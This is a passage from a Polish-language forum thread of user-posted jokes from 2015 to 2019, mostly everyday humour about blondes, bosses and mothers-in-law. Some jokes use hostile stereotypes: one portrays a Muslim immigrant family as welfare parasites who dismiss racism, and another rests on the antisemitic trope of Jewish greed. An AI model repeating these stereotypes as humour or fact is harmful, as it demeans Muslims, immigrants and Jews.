- Nie przyjęli jej.

DarekS - 04-10-2015, 12:11

Mały Ahmed pyta się mamy co to jest tolerancja i rasizm ?
A więc mówi mama : tolerancja jest wtedy jak widzisz, żyjemy tu, dostajemy
socjal, mieszkania, dopłaty, nie musimy pracować i możemy budować
meczety, a na to wszystko pracują ciężko biali.
Ale mamo czy ci biali nie są źli że muszą na nas pracować?
Są! I to właśnie jest RASIZM !!!

PawelF76 - 15-10-2015, 11:48

Przyzwoicie podpity gość siedzi przy barze i bez zwracania uwagi, kto się dosiadł, pyta:
-opowiedzieć Ci kawał o głupiej blondynce?
Na to miły i seksowny głos odpowiada:
-jestem wysportowana, wykształconą i silną 1,90 wzrostu blondynką.
Za mną siedzi moja przyjaciółka, również dobrze wykształcona i uprawaiająca kulturystykę koleżanka, która też jest blondynką. Do toalety wyszła kolejna koleżanka, blondynka, 2 metrowa mistrzyni kickboksingu...czy wciąż chcesz opowiedzieć ten dowcip?
-a fee, nie będę 3 razy powtarzał...

froniu82 - 17-10-2015, 16:04

Przyjechał nowojorski Żyd do Jerozolimy. Poszedł pod ścianę płaczu. Modlił się, modlił, aż tu nagle zgłodniał. Patrzy w lewo: "McRabin", patrzy w prawo: "Jewish Hat", patrzy za siebie "JewWay". Za mało koszerne - pomyślał sobie i zaczął szukać czegoś odpowiedniego. 
Napotkany stary Chasyd poradził mu, żeby poszedł do najbardziej żydowskiej knajpy, jaką widział świat: do "Karty Płaczu Abramowicza". Żyd jak usłyszał tak zrobił i już po kilku chwilach znalazł się w u progu lokalu.
Wchodzi, patrzy, a tu ciemno, brudno i obskurno. Zamiast stołów stare beczki, zamiast krzeseł stare pudła, bar zrobiony ze starej sklejki i z wyjątkiem Abramowicza nikogo nie ma. Stary Żyd podchodzi do niego i się pyta:
- Co macie dobrego do jedzenia poczciwy Abramowiczu?
- A mamy "Przysmak Jerozolimski"...
- A za ile?
- Za 1000 dolarów.
- Tak drogo? A coś tańszego?
- Za 800 "Przysmak Rabina"...
- Ojojoj... A coś jeszcze tańszego?
- Za 500 mamy "Potrawkę Chasydzką"...
- Ajwaj! A co macie najtańszego?
- Kanapkę po Żydowsku za 100 baksów...
- Kanapka za 100 baksów? To z czego wy robicie tę kanapkę poczciwy Abramowiczu?
- Z czystej chciwości...
Stary żyd zapłakał. 
Był w domu...

superwisior - 25-03-2018, 16:52

Gdy kolejny raz spóźniłem się do pracy szef wezwał mnie do gabinetu;
- Jaka jest twoja wymówka tym razem?
- Zaspałem.
- Na miłość boską, powiedz choć raz coś czego nie słyszałem
- Ślicznie dziś wyglądasz.

tom444 - 26-03-2018, 00:32
Temat postu: Czyja wina
Rozmawia dwóch kumpli
Jeden pyta : powiedz mi, czy zawsze tak jest że jak jest rozpad małżeństwa to wina jest po obu stronach?
Oczywiście - odpowiada drugi , w 50 % winna jest żona i w 50 % - teściowa :)

wrobel.cwirek - 13-06-2018, 13:45

Do baru wchodzi ksiądz, pedofil i złodziej.
A to dopiero pierwszy klient dzisiaj!

MiroXXL - 28-10-2018, 15:50

Grubo ... ale to nie jest uczciwe tak szczerze .. nie szedłbym w tym kierunku ...
ErykB11 - 30-04-2019, 09:27

czym się różni krowa od nauczyciela ?
krowa ma więcej siana :D


Powered by phpBB modified by Przemo © 2003 phpBB Group